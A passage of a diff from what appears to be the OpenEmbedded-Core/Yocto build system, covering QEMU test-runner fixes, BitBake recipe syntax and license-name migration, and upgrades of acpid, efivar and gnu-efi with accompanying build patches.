+ return self.qmp.cmd(command)
+
def run_serial(self, command, raw=False, timeout=60):
# We assume target system have echo to get command status
if not raw:
@@ -465,10 +641,12 @@ class QemuRunner:
if answer:
data += answer.decode('utf-8')
# Search the prompt to stop
- if re.search(r"[a-zA-Z0-9]+@[a-zA-Z0-9\-]+:~#", data):
+ if re.search(self.boot_patterns['search_cmd_finished'], data):
break
else:
- raise Exception("No data on serial console socket")
+ if self.canexit:
+ return (1, "")
+ raise Exception("No data on serial console socket, connection closed?")
if data:
if raw:
@@ -506,6 +684,7 @@ class LoggingThread(threading.Thread):
self.logger = logger
self.readsock = None
self.running = False
+ self.canexit = False
self.errorevents = select.POLLERR | select.POLLHUP | select.POLLNVAL
self.readevents = select.POLLIN | select.POLLPRI
@@ -539,6 +718,9 @@ class LoggingThread(threading.Thread):
self.close_ignore_error(self.writepipe)
self.running = False
+ def allowexit(self):
+ self.canexit = True
+
def eventloop(self):
poll = select.poll()
event_read_mask = self.errorevents | self.readevents
@@ -584,7 +766,7 @@ class LoggingThread(threading.Thread):
data = self.readsock.recv(count)
except socket.error as e:
if e.errno == errno.EAGAIN or e.errno == errno.EWOULDBLOCK:
- return ''
+ return b''
else:
raise
@@ -595,7 +777,9 @@ class LoggingThread(threading.Thread):
# happened. But for this code it counts as an
# error since the connection shouldn't go away
# until qemu exits.
- raise Exception("Console connection closed unexpectedly")
+ if not self.canexit:
+ raise Exception("Console connection closed unexpectedly")
+ return b''
return data
diff --git a/meta/lib/oeqa/utils/qemutinyrunner.py b/meta/lib/oeqa/utils/qemutinyrunner.py
index 364005bd2d..20009401ca 100644
--- a/meta/lib/oeqa/utils/qemutinyrunner.py
+++ b/meta/lib/oeqa/utils/qemutinyrunner.py
@@ -19,7 +19,7 @@ from .qemurunner import QemuRunner
class QemuTinyRunner(QemuRunner):
- def __init__(self, machine, rootfs, display, tmpdir, deploy_dir_image, logfile, kernel, boottime, logger):
+ def __init__(self, machine, rootfs, display, tmpdir, deploy_dir_image, logfile, kernel, boottime, logger, tmpfsdir=None):
# Popen object for runqemu
self.runqemu = None
@@ -37,6 +37,7 @@ class QemuTinyRunner(QemuRunner):
self.deploy_dir_image = deploy_dir_image
self.logfile = logfile
self.boottime = boottime
+ self.tmpfsdir = tmpfsdir
self.runqemutime = 60
self.socketfile = "console.sock"
@@ -83,6 +84,9 @@ class QemuTinyRunner(QemuRunner):
return False
else:
os.environ["DEPLOY_DIR_IMAGE"] = self.deploy_dir_image
+ if self.tmpfsdir:
+ env["RUNQEMU_TMPFS_DIR"] = self.tmpfsdir
+
# Set this flag so that Qemu doesn't do any grabs as SDL grabs interact
# badly with screensavers.
@@ -138,7 +142,7 @@ class QemuTinyRunner(QemuRunner):
#
# Walk the process tree from the process specified looking for a qemu-system. Return its [pid'cmd]
#
- ps = subprocess.Popen(['ps', 'axww', '-o', 'pid,ppid,command'], stdout=subprocess.PIPE).communicate()[0]
+ ps = subprocess.Popen(['ps', 'axww', '-o', 'pid,ppid,pri,ni,command'], stdout=subprocess.PIPE).communicate()[0]
processes = ps.decode("utf-8").split('\n')
nfields = len(processes[0].split()) - 1
pids = {}
diff --git a/meta/lib/oeqa/utils/sshcontrol.py b/meta/lib/oeqa/utils/sshcontrol.py
index 49a07264c6..36c2ecb3db 100644
--- a/meta/lib/oeqa/utils/sshcontrol.py
+++ b/meta/lib/oeqa/utils/sshcontrol.py
@@ -23,7 +23,7 @@ class SSHProcess(object):
"stdin": None,
"shell": False,
"bufsize": -1,
- "preexec_fn": os.setsid,
+ "start_new_session": True,
}
self.options = dict(self.defaultopts)
self.options.update(options)
diff --git a/meta/lib/oeqa/utils/targetbuild.py b/meta/lib/oeqa/utils/targetbuild.py
index 1055810ca3..09738add1d 100644
--- a/meta/lib/oeqa/utils/targetbuild.py
+++ b/meta/lib/oeqa/utils/targetbuild.py
@@ -19,6 +19,7 @@ class BuildProject(metaclass=ABCMeta):
self.d = d
self.uri = uri
self.archive = os.path.basename(uri)
+ self.tempdirobj = None
if not tmpdir:
tmpdir = self.d.getVar('WORKDIR')
if not tmpdir:
@@ -71,9 +72,10 @@ class BuildProject(metaclass=ABCMeta):
return self._run('cd %s; make install %s' % (self.targetdir, install_args))
def clean(self):
+ if self.tempdirobj:
+ self.tempdirobj.cleanup()
self._run('rm -rf %s' % self.targetdir)
subprocess.check_call('rm -f %s' % self.localarchive, shell=True)
- pass
class TargetBuildProject(BuildProject):
diff --git a/meta/recipes-bsp/acpid/acpid.inc b/meta/recipes-bsp/acpid/acpid.inc
index 1e43e7a9db..98910bab29 100644
--- a/meta/recipes-bsp/acpid/acpid.inc
+++ b/meta/recipes-bsp/acpid/acpid.inc
@@ -8,7 +8,7 @@ admin."
HOMEPAGE = "http://sourceforge.net/projects/acpid2"
BUGTRACKER = "http://sourceforge.net/p/acpid2/tickets/?source=navbar"
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
SRC_URI = "${SOURCEFORGE_MIRROR}/acpid2/acpid-${PV}.tar.xz \
file://init \
@@ -22,9 +22,9 @@ inherit autotools update-rc.d systemd
INITSCRIPT_NAME = "acpid"
INITSCRIPT_PARAMS = "defaults"
-SYSTEMD_SERVICE_${PN} = "acpid.service"
+SYSTEMD_SERVICE:${PN} = "acpid.service"
-do_install_append () {
+do_install:append () {
install -d ${D}${sysconfdir}/init.d
sed -e 's,/usr/sbin,${sbindir},g' ${WORKDIR}/init > ${D}${sysconfdir}/init.d/acpid
chmod 755 ${D}${sysconfdir}/init.d/acpid
@@ -32,7 +32,7 @@ do_install_append () {
install -d ${D}${sysconfdir}/acpi
install -d ${D}${sysconfdir}/acpi/events
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/acpid.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/acpid.service
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/acpid.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/acpid.service
}
diff --git a/meta/recipes-bsp/acpid/acpid_2.0.32.bb b/meta/recipes-bsp/acpid/acpid_2.0.32.bb
deleted file mode 100644
index 227e4a4675..0000000000
--- a/meta/recipes-bsp/acpid/acpid_2.0.32.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require acpid.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b \
- file://acpid.h;endline=24;md5=324a9cf225ae69ddaad1bf9d942115b5"
-
-SRC_URI[md5sum] = "248995264b9d1cd8bdb923d5b190fd44"
-SRC_URI[sha256sum] = "f2d2d30b3edc3234bd82f6f7186699a6aa3c85c8d20bc4e30e9b3c68a1ed157e"
diff --git a/meta/recipes-bsp/acpid/acpid_2.0.33.bb b/meta/recipes-bsp/acpid/acpid_2.0.33.bb
new file mode 100644
index 0000000000..7094ba2662
--- /dev/null
+++ b/meta/recipes-bsp/acpid/acpid_2.0.33.bb
@@ -0,0 +1,6 @@
+require acpid.inc
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b \
+ file://acpid.h;endline=24;md5=324a9cf225ae69ddaad1bf9d942115b5"
+
+SRC_URI[sha256sum] = "0856f71b3eb34a1b663d0a8e6363dfcbc519e63d847330498898658e2972dbe8"
diff --git a/meta/recipes-bsp/alsa-state/alsa-state.bb b/meta/recipes-bsp/alsa-state/alsa-state.bb
index 0670556999..df546633f1 100644
--- a/meta/recipes-bsp/alsa-state/alsa-state.bb
+++ b/meta/recipes-bsp/alsa-state/alsa-state.bb
@@ -49,20 +49,20 @@ do_install() {
PACKAGES += "alsa-states"
-RRECOMMENDS_alsa-state = "alsa-states"
+RRECOMMENDS:alsa-state = "alsa-states"
-RDEPENDS_${PN} = "alsa-utils-alsactl"
-FILES_${PN} = "${sysconfdir}/init.d ${sysconfdir}/asound.conf"
-CONFFILES_${PN} = "${sysconfdir}/asound.conf"
+RDEPENDS:${PN} = "alsa-utils-alsactl"
+FILES:${PN} = "${sysconfdir}/init.d ${sysconfdir}/asound.conf"
+CONFFILES:${PN} = "${sysconfdir}/asound.conf"
-FILES_alsa-states = "${localstatedir}/lib/alsa/*.state"
+FILES:alsa-states = "${localstatedir}/lib/alsa/*.state"
-pkg_postinst_${PN}() {
+pkg_postinst:${PN}() {
if test -z "$D"
then
if test -x ${sbindir}/alsactl
then
- ${sbindir}/alsactl -f ${localstatedir}/lib/alsa/asound.state restore
+ ${sbindir}/alsactl -g -f ${localstatedir}/lib/alsa/asound.state restore
fi
fi
}
diff --git a/meta/recipes-bsp/apmd/apmd/libtool.patch b/meta/recipes-bsp/apmd/apmd/libtool.patch
index 834ee080a1..fd0a952890 100644
--- a/meta/recipes-bsp/apmd/apmd/libtool.patch
+++ b/meta/recipes-bsp/apmd/apmd/libtool.patch
@@ -1,3 +1,8 @@
+From d5dde7ca91a5aed273d8fe269e1a5194e85c8c79 Mon Sep 17 00:00:00 2001
+From: Scott Garman <scott.a.garman@intel.com>
+Date: Tue, 13 Jul 2010 16:46:46 +0800
+Subject: [PATCH] apmd: upgrade to 3.2.2-14
+
Add by RP to address "unable to infer tagged configuration" error:
commit 35de05e61b88c0808a5e885bb0efdf420555d5ad
Author: Richard Purdie <rpurdie@rpsys.net>
@@ -15,15 +20,18 @@ Upstream-Status: Pending
Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Index: apmd-3.2.2.orig/Makefile
-===================================================================
---- apmd-3.2.2.orig.orig/Makefile 2004-01-04 08:13:18.000000000 +0000
-+++ apmd-3.2.2.orig/Makefile 2008-04-21 17:10:03.000000000 +0100
-@@ -58,9 +57,8 @@
- #CFLAGS=-O3 -m486 -fomit-frame-pointer
+---
+ Makefile | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/Makefile b/Makefile
+index 92fc0fd..8e283dc 100644
+--- a/Makefile
++++ b/Makefile
+@@ -59,8 +59,8 @@ RANLIB=ranlib
#LDFLAGS=-s
--LIBTOOL=libtool --quiet
+ LIBTOOL=libtool --quiet
-LT_COMPILE = $(LIBTOOL) --mode=compile $(CC)
-LT_LINK = $(LIBTOOL) --mode=link $(CC)
+LT_COMPILE = $(LIBTOOL) --tag=CC --mode=compile $(CC)
diff --git a/meta/recipes-bsp/apmd/apmd_3.2.2-15.bb b/meta/recipes-bsp/apmd/apmd_3.2.2-15.bb
index 82c2649340..92c35c9896 100644
--- a/meta/recipes-bsp/apmd/apmd_3.2.2-15.bb
+++ b/meta/recipes-bsp/apmd/apmd_3.2.2-15.bb
@@ -4,7 +4,7 @@ access to battery status information and a set of tools for managing \
notebook power consumption."
HOMEPAGE = "http://apenwarr.ca/apmd/"
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://apm.h;beginline=6;endline=18;md5=7d4acc1250910a89f84ce3cc6557c4c2"
DEPENDS = "libtool-cross"
@@ -36,14 +36,14 @@ inherit update-rc.d systemd
INITSCRIPT_NAME = "apmd"
INITSCRIPT_PARAMS = "defaults"
-SYSTEMD_SERVICE_${PN} = "apmd.service"
+SYSTEMD_SERVICE:${PN} = "apmd.service"
SYSTEMD_AUTO_ENABLE = "disable"
EXTRA_OEMAKE = "-e MAKEFLAGS="
do_compile() {
# apmd doesn't use whole autotools. Just libtool for installation
- oe_runmake "LIBTOOL=${STAGING_BINDIR_CROSS}/${HOST_SYS}-libtool" apm apmd
+ oe_runmake apm apmd
}
do_install() {
@@ -73,13 +73,13 @@ do_install() {
sed -e 's,/usr/sbin,${sbindir},g; s,/etc,${sysconfdir},g;' ${WORKDIR}/init > ${D}${sysconfdir}/init.d/apmd
chmod 755 ${D}${sysconfdir}/init.d/apmd
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/apmd.service ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/apmd.service ${D}${systemd_system_unitdir}/
sed -i -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/apmd.service
+ -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/apmd.service
}
PACKAGES =+ "libapm apm"
-FILES_libapm = "${libdir}/libapm${SOLIBS}"
-FILES_apm = "${bindir}/apm*"
+FILES:libapm = "${libdir}/libapm${SOLIBS}"
+FILES:apm = "${bindir}/apm*"
diff --git a/meta/recipes-bsp/efibootmgr/efibootmgr/0001-src-make-compatible-with-efivar-38.patch b/meta/recipes-bsp/efibootmgr/efibootmgr/0001-src-make-compatible-with-efivar-38.patch
new file mode 100644
index 0000000000..f8d912391e
--- /dev/null
+++ b/meta/recipes-bsp/efibootmgr/efibootmgr/0001-src-make-compatible-with-efivar-38.patch
@@ -0,0 +1,47 @@
+From 07f080184d067c1ebc3fec1b53dd4a06d1a2566a Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 17 Jan 2022 23:24:34 +0100
+Subject: [PATCH] src: make compatible with efivar 38
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ src/efibootdump.c | 2 +-
+ src/efibootmgr.c | 4 ++--
+ 2 files changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/src/efibootdump.c b/src/efibootdump.c
+index eceffd6..09bd76e 100644
+--- a/src/efibootdump.c
++++ b/src/efibootdump.c
+@@ -69,7 +69,7 @@ print_boot_entry(efi_load_option *loadopt, size_t data_size)
+ text_path = alloca(text_path_len);
+ if (!text_path)
+ error(100, "Couldn't allocate memory");
+- rc = efidp_format_device_path(text_path, text_path_len,
++ rc = efidp_format_device_path((unsigned char *)text_path, text_path_len,
+ dp, pathlen);
+ if (rc < 0) {
+ printf("<bad device path>");
+diff --git a/src/efibootmgr.c b/src/efibootmgr.c
+index 4e1a680..b77b1fb 100644
+--- a/src/efibootmgr.c
++++ b/src/efibootmgr.c
+@@ -949,7 +949,7 @@ show_vars(const char *prefix)
+ pathlen = efi_loadopt_pathlen(load_option,
+ boot->data_size);
+ dp = efi_loadopt_path(load_option, boot->data_size);
+- rc = efidp_format_device_path(text_path, text_path_len,
++ rc = efidp_format_device_path((unsigned char *)text_path, text_path_len,
+ dp, pathlen);
+ if (rc < 0)
+ error(18, "Could not parse device path");
+@@ -960,7 +960,7 @@ show_vars(const char *prefix)
+ if (!text_path)
+ error(19, "Could not parse device path");
+
+- rc = efidp_format_device_path(text_path, text_path_len,
++ rc = efidp_format_device_path((unsigned char *)text_path, text_path_len,
+ dp, pathlen);
+ if (rc < 0)
+ error(20, "Could not parse device path");
diff --git a/meta/recipes-bsp/efibootmgr/efibootmgr_17.bb b/meta/recipes-bsp/efibootmgr/efibootmgr_17.bb
index 5d6f200a73..11d8b9061d 100644
--- a/meta/recipes-bsp/efibootmgr/efibootmgr_17.bb
+++ b/meta/recipes-bsp/efibootmgr/efibootmgr_17.bb
@@ -3,17 +3,18 @@ SUMMARY = "EFI Boot Manager"
HOMEPAGE = "https://github.com/rhboot/efibootmgr"
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
DEPENDS = "efivar popt"
COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
-SRC_URI = "git://github.com/rhinstaller/efibootmgr.git;protocol=https \
+SRC_URI = "git://github.com/rhinstaller/efibootmgr.git;protocol=https;branch=master \
file://0001-remove-extra-decl.patch \
file://97668ae0bce776a36ea2001dea63d376be8274ac.patch \
- "
+ file://0001-src-make-compatible-with-efivar-38.patch \
+ "
SRCREV = "e067160ecef8208e1944002e5d50b275733211fb"
S = "${WORKDIR}/git"
@@ -33,3 +34,6 @@ do_install () {
}
CLEANBROKEN = "1"
+# https://github.com/rhboot/efivar/issues/202
+COMPATIBLE_HOST:libc-musl = 'null'
+
diff --git a/meta/recipes-bsp/efivar/efivar/0001-docs-do-not-build-efisecdb-manpage.patch b/meta/recipes-bsp/efivar/efivar/0001-docs-do-not-build-efisecdb-manpage.patch
new file mode 100644
index 0000000000..cb30d3c430
--- /dev/null
+++ b/meta/recipes-bsp/efivar/efivar/0001-docs-do-not-build-efisecdb-manpage.patch
@@ -0,0 +1,26 @@
+From f39a1481a9e465387901d52b07ae56dedcc3838b Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Sun, 16 Jan 2022 18:25:33 +0100
+Subject: [PATCH] docs: do not build efisecdb manpage
+
+It requires mandoc, which oe-core does not have.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ docs/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/docs/Makefile b/docs/Makefile
+index c9bf585..91a6078 100644
+--- a/docs/Makefile
++++ b/docs/Makefile
+@@ -5,7 +5,7 @@ include $(TOPDIR)/src/include/version.mk
+ include $(TOPDIR)/src/include/rules.mk
+ include $(TOPDIR)/src/include/defaults.mk
+
+-MAN1TARGETS = efisecdb.1 \
++MAN1TARGETS = \
+ efivar.1
+
+ MAN3TARGETS = efi_append_variable.3 \
diff --git a/meta/recipes-bsp/efivar/efivar/0001-src-Makefile-build-util.c-separately-for-makeguids.patch b/meta/recipes-bsp/efivar/efivar/0001-src-Makefile-build-util.c-separately-for-makeguids.patch
new file mode 100644
index 0000000000..02781eb67d
--- /dev/null
+++ b/meta/recipes-bsp/efivar/efivar/0001-src-Makefile-build-util.c-separately-for-makeguids.patch
@@ -0,0 +1,38 @@
+From 80f11fcb46f6b52e13501cb323ca1a849c3f6e88 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 18 Jan 2022 11:53:41 +0100
+Subject: [PATCH] src/Makefile: build util.c separately for makeguids
+
+util.c needs to be built twice when cross-compiling:
+for the build machine to be able to link with
+makeguids which then runs during the same build,
+and then for the actual target.
+
+Upstream-Status: Submitted [https://github.com/rhboot/efivar/pull/203]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ src/Makefile | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/src/Makefile b/src/Makefile
+index 0e423c4..b10051b 100644
+--- a/src/Makefile
++++ b/src/Makefile
+@@ -28,10 +28,13 @@ EFIVAR_OBJECTS = $(patsubst %.S,%.o,$(patsubst %.c,%.o,$(EFIVAR_SOURCES)))
+ EFISECDB_SOURCES = efisecdb.c guid-symbols.c secdb-dump.c util.c
+ EFISECDB_OBJECTS = $(patsubst %.S,%.o,$(patsubst %.c,%.o,$(EFISECDB_SOURCES)))
+ GENERATED_SOURCES = include/efivar/efivar-guids.h guid-symbols.c
+-MAKEGUIDS_SOURCES = makeguids.c util.c
++MAKEGUIDS_SOURCES = makeguids.c util-makeguids.c
+ MAKEGUIDS_OBJECTS = $(patsubst %.S,%.o,$(patsubst %.c,%.o,$(MAKEGUIDS_SOURCES)))
+ MAKEGUIDS_OUTPUT = $(GENERATED_SOURCES) guids.lds
+
++util-makeguids.c :
++ cp util.c util-makeguids.c
++
+ ALL_SOURCES=$(LIBEFISEC_SOURCES) $(LIBEFIBOOT_SOURCES) $(LIBEFIVAR_SOURCES) \
+ $(MAKEGUIDS_SOURCES) $(GENERATED_SOURCES) $(EFIVAR_SOURCES) \
+ $(sort $(wildcard include/efivar/*.h))
+--
+2.20.1
+
diff --git a/meta/recipes-bsp/efivar/efivar/no-werror.patch b/meta/recipes-bsp/efivar/efivar/no-werror.patch
deleted file mode 100644
index 50a0b1023a..0000000000
--- a/meta/recipes-bsp/efivar/efivar/no-werror.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-Don't use -Werror because newer compilers introduce newer warnings.
-
-Upstream-Status: Inappropriate [https://github.com/rhboot/efivar/issues/131]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/gcc.specs b/gcc.specs
-index 45d43d1..1baf11a 100644
---- a/gcc.specs
-+++ b/gcc.specs
-@@ -2,7 +2,7 @@
- + -D_GNU_SOURCE
-
- *efivar_cpp_options:
-- -Werror -Wall -std=gnu11 -Wextra
-+ -Wall -std=gnu11 -Wextra
-
- *cpp_options:
- + %(efivar_cpp_options)
diff --git a/meta/recipes-bsp/efivar/efivar_37.bb b/meta/recipes-bsp/efivar/efivar_37.bb
deleted file mode 100644
index 9b95721a4e..0000000000
--- a/meta/recipes-bsp/efivar/efivar_37.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "Tools to manipulate UEFI variables"
-DESCRIPTION = "efivar provides a simple command line interface to the UEFI variable facility"
-HOMEPAGE = "https://github.com/rhboot/efivar"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6626bb1e20189cfa95f2c508ba286393"
-
-COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
-
-SRC_URI = "git://github.com/rhinstaller/efivar.git \
- file://no-werror.patch"
-SRCREV = "c1d6b10e1ed4ba2be07f385eae5bceb694478a10"
-
-S = "${WORKDIR}/git"
-
-inherit pkgconfig
-
-export CCLD_FOR_BUILD = "${BUILD_CCLD}"
-
-# Upstream uses --add-needed in gcc.specs which gold doesn't support, so
-# enforce BFD.
-LDFLAGS += "-fuse-ld=bfd"
-
-do_compile_prepend() {
- # Remove when https://github.com/rhboot/efivar/issues/130 is fixed
- oe_runmake \
- CFLAGS="${BUILD_CFLAGS}" \
- LDFLAGS="${BUILD_LDFLAGS}" \
- -C src makeguids
-}
-
-do_install() {
- oe_runmake install DESTDIR=${D}
-}
-
-BBCLASSEXTEND = "native"
-
-RRECOMMENDS_${PN}_class-target = "kernel-module-efivarfs"
-
-CLEANBROKEN = "1"
diff --git a/meta/recipes-bsp/efivar/efivar_38.bb b/meta/recipes-bsp/efivar/efivar_38.bb
new file mode 100644
index 0000000000..68c4b4b914
--- /dev/null
+++ b/meta/recipes-bsp/efivar/efivar_38.bb
@@ -0,0 +1,40 @@
+SUMMARY = "Tools to manipulate UEFI variables"
+DESCRIPTION = "efivar provides a simple command line interface to the UEFI variable facility"
+HOMEPAGE = "https://github.com/rhboot/efivar"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6626bb1e20189cfa95f2c508ba286393"
+
+COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
+
+SRC_URI = "git://github.com/rhinstaller/efivar.git;branch=main;protocol=https \
+ file://0001-docs-do-not-build-efisecdb-manpage.patch \
+ file://0001-src-Makefile-build-util.c-separately-for-makeguids.patch \
+ "
+SRCREV = "1753149d4176ebfb2b135ac0aaf79340bf0e7a93"
+
+S = "${WORKDIR}/git"
+
+inherit pkgconfig
+
+export CCLD_FOR_BUILD = "${BUILD_CCLD}"
+
+# Upstream uses --add-needed in gcc.specs which gold doesn't support, so
+# enforce BFD.
+LDFLAGS += "-fuse-ld=bfd"
+
+do_compile() {
+ oe_runmake ERRORS= HOST_CFLAGS="${BUILD_CFLAGS}" HOST_LDFLAGS="${BUILD_LDFLAGS}"
+}
+
+do_install() {
+ oe_runmake install DESTDIR=${D}
+}
+
+BBCLASSEXTEND = "native"
+
+RRECOMMENDS:${PN}:class-target = "kernel-module-efivarfs"
+
+CLEANBROKEN = "1"
+# https://github.com/rhboot/efivar/issues/202
+COMPATIBLE_HOST:libc-musl = 'null'
diff --git a/meta/recipes-bsp/formfactor/files/qemuppc64/machconfig b/meta/recipes-bsp/formfactor/files/qemuppc64/machconfig
new file mode 100755
index 0000000000..e4717730ea
--- /dev/null
+++ b/meta/recipes-bsp/formfactor/files/qemuppc64/machconfig
@@ -0,0 +1,10 @@
+HAVE_TOUCHSCREEN=0
+HAVE_KEYBOARD=0
+
+DISPLAY_CAN_ROTATE=0
+DISPLAY_ORIENTATION=0
+#DISPLAY_WIDTH_PIXELS=640
+#DISPLAY_HEIGHT_PIXELS=480
+#DISPLAY_BPP=16
+DISPLAY_DPI=150
+DISPLAY_SUBPIXEL_ORDER=vrgb
diff --git a/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.11.bb b/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.11.bb
deleted file mode 100644
index 9954d7f57a..0000000000
--- a/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.11.bb
+++ /dev/null
@@ -1,71 +0,0 @@
-SUMMARY = "Libraries for producing EFI binaries"
-HOMEPAGE = "http://sourceforge.net/projects/gnu-efi/"
-SECTION = "devel"
-LICENSE = "GPLv2+ | BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://gnuefi/crt0-efi-arm.S;beginline=4;endline=16;md5=e582764a4776e60c95bf9ab617343d36 \
- file://gnuefi/crt0-efi-aarch64.S;beginline=4;endline=16;md5=e582764a4776e60c95bf9ab617343d36 \
- file://inc/efishellintf.h;beginline=13;endline=20;md5=202766b79d708eff3cc70fce15fb80c7 \
- file://inc/efishellparm.h;beginline=4;endline=11;md5=468b1231b05bbc84bae3a0d5774e3bb5 \
- file://lib/arm/math.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
- file://lib/arm/initplat.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
- file://lib/aarch64/math.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
- file://lib/aarch64/initplat.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
- "
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2 \
- file://parallel-make-archives.patch \
- file://lib-Makefile-fix-parallel-issue.patch \
- file://gnu-efi-3.0.9-fix-clang-build.patch \
- "
-
-SRC_URI[md5sum] = "21148bbcccec385a9bfdf5f678959577"
-SRC_URI[sha256sum] = "f28da792a2532e91e18e0101468811739a22cde9eee5eacfd0efb9bf3a61d6b9"
-
-COMPATIBLE_HOST = "(x86_64.*|i.86.*|aarch64.*|arm.*)-linux"
-COMPATIBLE_HOST_armv4 = 'null'
-
-do_configure_linux-gnux32_prepend() {
- cp ${STAGING_INCDIR}/gnu/stubs-x32.h ${STAGING_INCDIR}/gnu/stubs-64.h
- cp ${STAGING_INCDIR}/bits/long-double-32.h ${STAGING_INCDIR}/bits/long-double-64.h
-}
-
-def gnu_efi_arch(d):
- import re
- tarch = d.getVar("TARGET_ARCH")
- if re.match("i[3456789]86", tarch):
- return "ia32"
- return tarch
-
-EXTRA_OEMAKE = "'ARCH=${@gnu_efi_arch(d)}' 'CC=${CC}' 'AS=${AS}' 'LD=${LD}' 'AR=${AR}' \
- 'RANLIB=${RANLIB}' 'OBJCOPY=${OBJCOPY}' 'PREFIX=${prefix}' 'LIBDIR=${libdir}' \
- "
-
-# gnu-efi's Makefile treats prefix as toolchain prefix, so don't
-# export it.
-prefix[unexport] = "1"
-
-do_install() {
- oe_runmake install INSTALLROOT="${D}"
-}
-
-FILES_${PN} += "${libdir}/*.lds"
-
-# 64-bit binaries are expected for EFI when targeting X32
-INSANE_SKIP_${PN}-dev_append_linux-gnux32 = " arch"
-INSANE_SKIP_${PN}-dev_append_linux-muslx32 = " arch"
-
-BBCLASSEXTEND = "native"
-
-# It doesn't support sse, its make.defaults sets:
-# CFLAGS += -mno-mmx -mno-sse
-# So also remove -mfpmath=sse from TUNE_CCARGS
-TUNE_CCARGS_remove = "-mfpmath=sse"
-
-python () {
- ccargs = d.getVar('TUNE_CCARGS').split()
- if '-mx32' in ccargs:
- # use x86_64 EFI ABI
- ccargs.remove('-mx32')
- ccargs.append('-m64')
- d.setVar('TUNE_CCARGS', ' '.join(ccargs))
-}
diff --git a/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.14.bb b/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.14.bb
new file mode 100644
index 0000000000..c746c2a1b8
--- /dev/null
+++ b/meta/recipes-bsp/gnu-efi/gnu-efi_3.0.14.bb
@@ -0,0 +1,70 @@
+SUMMARY = "Libraries for producing EFI binaries"
+HOMEPAGE = "http://sourceforge.net/projects/gnu-efi/"
+DESCRIPTION = "GNU-EFI aims to Develop EFI applications for ARM-64, ARM-32, x86_64, IA-64 (IPF), IA-32 (x86), and MIPS platforms using the GNU toolchain and the EFI development environment."
+SECTION = "devel"
+LICENSE = "GPL-2.0-or-later | BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://gnuefi/crt0-efi-arm.S;beginline=4;endline=16;md5=e582764a4776e60c95bf9ab617343d36 \
+ file://gnuefi/crt0-efi-aarch64.S;beginline=4;endline=16;md5=e582764a4776e60c95bf9ab617343d36 \
+ file://inc/efishellintf.h;beginline=13;endline=20;md5=202766b79d708eff3cc70fce15fb80c7 \
+ file://lib/arm/math.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
+ file://lib/arm/initplat.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
+ file://lib/aarch64/math.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
+ file://lib/aarch64/initplat.c;beginline=2;endline=15;md5=8ed772501da77b2b3345aa6df8744c9e \
+ "
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/files/${BP}.tar.bz2 \
+ file://parallel-make-archives.patch \
+ file://lib-Makefile-fix-parallel-issue.patch \
